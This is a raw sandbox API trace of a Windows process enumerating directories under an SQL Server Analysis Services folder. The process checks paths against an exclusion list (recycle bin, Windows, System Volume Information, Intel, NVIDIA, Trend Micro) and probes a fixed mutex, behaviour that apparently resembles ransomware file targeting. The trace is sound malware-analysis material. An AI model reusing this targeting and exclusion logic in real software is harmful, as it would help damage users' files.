0x2 [0059.027] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\", cchLength=0x36 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\") returned 0x36 [0059.027] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a938, cbMultiByte=8, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\\x10") returned 8 [0059.027] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\眵$&\x18\x02") returned 37 [0059.027] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="練R䱠@Q企@\x18Q\x18j")) returned 0xffffffff [0059.027] GetLastError () returned 0x2 [0059.027] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\", cchLength=0x36 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\") returned 0x36 [0059.027] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\眵$&\x18\x02") returned 37 [0059.027] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\眵$&\x18\x02") returned 6 [0059.028] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\Adobe", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="練R䱠@缤R企@\x18?T\x18q")) returned 0xffffffff [0059.028] GetLastError () returned 0x2 [0059.028] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\", cchLength=0x36 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\") returned 0x36 [0059.028] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a938, cbMultiByte=6, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="adobe\\QP") returned 6 [0059.028] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\眵$&\x18\x02") returned 7 [0059.028] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\Oracle", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="練R䱠@帜R企@\x18䙌R\x18y")) returned 0xffffffff [0059.028] GetLastError () returned 0x2 [0059.028] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\", cchLength=0x36 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\") returned 0x36 [0059.028] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a938, cbMultiByte=7, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="oracle\\T\x10") returned 7 [0059.029] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\眵$&\x18\x02") returned 7 [0059.029] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\Archive", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="練R䱠@Q企@\x18?T\x18\x81")) returned 0xffffffff [0059.029] GetLastError () returned 0x2 [0059.029] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\", cchLength=0x36 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\") returned 0x36 [0059.029] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a938, cbMultiByte=7, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="archiveR\x10") returned 7 [0059.029] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\眵$&\x18\x02") returned 6 [0059.029] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\Backup", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="練R䱠@缤R企@\x18䙌R\x18\x88")) returned 0xffffffff [0059.029] GetLastError () returned 0x2 [0059.029] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\", cchLength=0x36 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\") returned 0x36 [0059.029] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a938, cbMultiByte=6, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="backup?T\x10") returned 6 [0059.030] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\眵$&\x18\x02") returned 6 [0059.030] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\Reserv", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="練R䱠@帜R企@\x18?T\x18\x8f")) returned 0xffffffff [0059.030] GetLastError () returned 0x2 [0059.030] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\", cchLength=0x36 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\") returned 0x36 [0059.030] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a938, cbMultiByte=6, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="reserv䙈R\x10") returned 6 [0059.030] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\眵$&\x18\x02") returned 7 [0059.030] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\Restore", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="練R䱠@Q企@\x18䙌R\x18\x97")) returned 0xffffffff [0059.030] GetLastError () returned 0x2 [0059.031] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\", cchLength=0x36 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\") returned 0x36 [0059.031] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a938, cbMultiByte=7, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="restoreT\x10") returned 7 [0059.031] GlobalLock (hMem=0x44000c) returned 0x54f168 [0059.031] GlobalHandle (pMem=0x54f168) returned 0x44000c [0059.031] GlobalUnlock (hMem=0x44000c) returned 0 [0059.031] GlobalLock (hMem=0x44000c) returned 0x54f168 [0059.031] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.031] GlobalHandle (pMem=0x54f168) returned 0x44000c [0059.031] GlobalUnlock (hMem=0x44000c) returned 0 [0059.031] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.031] GlobalUnlock (hMem=0x440004) returned 0 [0059.031] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\", cchLength=0x36 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\") returned 0x36 [0059.031] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18ecbc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0059.031] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18e0bc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0059.031] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\", cchLength=0x36 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\") returned 0x36 [0059.031] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18ecbc, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0059.031] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18e0bc, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵$&\x18\x02") returned 46 [0059.032] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\", cchLength=0x36 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\") returned 0x36 [0059.032] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18ecbc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0059.032] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18e0bc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵$&\x18\x02") returned 15 [0059.032] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\", cchLength=0x36 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\") returned 0x36 [0059.032] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18ecbc, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0059.032] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8d8, cbMultiByte=11, lpWideCharStr=0x18e0bc, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵$&\x18\x02") returned 11 [0059.032] GlobalLock (hMem=0x440004) returned 0x54f168 [0059.032] GlobalHandle (pMem=0x54f168) returned 0x440004 [0059.032] GlobalUnlock (hMem=0x440004) returned 0 [0059.032] GlobalLock (hMem=0x440004) returned 0x54f168 [0059.032] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.032] GlobalHandle (pMem=0x54f168) returned 0x440004 [0059.032] GlobalUnlock (hMem=0x440004) returned 0 [0059.032] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.032] GlobalUnlock (hMem=0x44000c) returned 0 [0059.032] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\", cchLength=0x36 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\") returned 0x36 [0059.032] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵$&\x18\x02") returned 15 [0059.033] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\", cchLength=0x36 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\") returned 0x36 [0059.033] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a938, cbMultiByte=11, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵$&\x18\x02") returned 11 [0059.033] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\", cchLength=0x36 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\") returned 0x36 [0059.033] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a938, cbMultiByte=9, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵$&\x18\x02") returned 9 [0059.034] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\", cchLength=0x36 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\") returned 0x36 [0059.034] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵$&\x18\x02") returned 18 [0059.034] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\", cchLength=0x36 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\") returned 0x36 [0059.034] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=28, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵$&\x18\x02") returned 28 [0059.034] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\", cchLength=0x36 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\") returned 0x36 [0059.034] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a938, cbMultiByte=10, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵$&\x18\x02") returned 10 [0059.034] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\", cchLength=0x36 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\") returned 0x36 [0059.034] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a938, cbMultiByte=8, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵$&\x18\x02") returned 8 [0059.034] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\", cchLength=0x36 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\") returned 0x36 [0059.034] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a938, cbMultiByte=9, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵$&\x18\x02") returned 9 [0059.035] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\", cchLength=0x36 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\") returned 0x36 [0059.035] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵$&\x18\x02") returned 13 [0059.035] GlobalLock (hMem=0x44000c) returned 0x54f168 [0059.035] GlobalHandle (pMem=0x54f168) returned 0x44000c [0059.035] GlobalUnlock (hMem=0x44000c) returned 0 [0059.035] GlobalLock (hMem=0x44000c) returned 0x54f168 [0059.035] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.035] GlobalHandle (pMem=0x54f168) returned 0x44000c [0059.035] GlobalUnlock (hMem=0x44000c) returned 0 [0059.035] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.035] GlobalUnlock (hMem=0x440004) returned 0 [0059.035] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\*.*", lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e1c0 [0059.035] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.035] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10", cAlternateFileName="")) returned 1 [0059.035] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10", cAlternateFileName="")) returned 0 [0059.035] GetLastError () returned 0x12 [0059.035] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0059.036] GlobalLock (hMem=0x440004) returned 0x54f168 [0059.036] GlobalHandle (pMem=0x54f168) returned 0x440004 [0059.036] GlobalUnlock (hMem=0x440004) returned 0 [0059.036] GlobalLock (hMem=0x440004) returned 0x54f168 [0059.036] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.036] GlobalHandle (pMem=0x54f168) returned 0x440004 [0059.036] GlobalUnlock (hMem=0x440004) returned 0 [0059.036] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.036] GlobalUnlock (hMem=0x44000c) returned 0 [0059.036] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\*.*", lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e1c0 [0059.036] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f108 | out: lpLocalFileTime=0x18f108) returned 1 [0059.036] FileTimeToDosDateTime (in: lpFileTime=0x18f108, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0059.036] GlobalLock (hMem=0x44000c) returned 0x54f168 [0059.036] GlobalHandle (pMem=0x54f168) returned 0x44000c [0059.036] GlobalUnlock (hMem=0x44000c) returned 0 [0059.036] GlobalLock (hMem=0x44000c) returned 0x54f168 [0059.036] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.036] GlobalHandle (pMem=0x54f168) returned 0x44000c [0059.036] GlobalUnlock (hMem=0x44000c) returned 0 [0059.036] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.036] GlobalUnlock (hMem=0x440004) returned 0 [0059.036] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.037] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.037] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0059.037] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0059.037] GlobalLock (hMem=0x440004) returned 0x54f168 [0059.037] GlobalHandle (pMem=0x54f168) returned 0x440004 [0059.037] GlobalUnlock (hMem=0x440004) returned 0 [0059.037] GlobalLock (hMem=0x440004) returned 0x54f168 [0059.037] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.037] GlobalHandle (pMem=0x54f168) returned 0x440004 [0059.037] GlobalUnlock (hMem=0x440004) returned 0 [0059.037] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.037] GlobalUnlock (hMem=0x44000c) returned 0 [0059.037] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.037] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10", cAlternateFileName="")) returned 1 [0059.037] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0059.037] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0059.037] GlobalLock (hMem=0x44000c) returned 0x54f168 [0059.037] GlobalHandle (pMem=0x54f168) returned 0x44000c [0059.037] GlobalUnlock (hMem=0x44000c) returned 0 [0059.037] GlobalLock (hMem=0x44000c) returned 0x54f168 [0059.037] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.037] GlobalHandle (pMem=0x54f168) returned 0x44000c [0059.037] GlobalUnlock (hMem=0x44000c) returned 0 [0059.037] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.037] GlobalUnlock (hMem=0x440004) returned 0 [0059.037] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.038] GlobalLock (hMem=0x440004) returned 0x54f168 [0059.038] GlobalHandle (pMem=0x54f168) returned 0x440004 [0059.038] GlobalUnlock (hMem=0x440004) returned 0 [0059.038] GlobalLock (hMem=0x440004) returned 0x54f168 [0059.038] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.038] GlobalHandle (pMem=0x54f168) returned 0x440004 [0059.038] GlobalUnlock (hMem=0x440004) returned 0 [0059.038] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.038] GlobalUnlock (hMem=0x44000c) returned 0 [0059.038] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.038] SysReAllocStringLen (in: pbstr=0x18f104*=0x0, psz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10", len=0x38 | out: 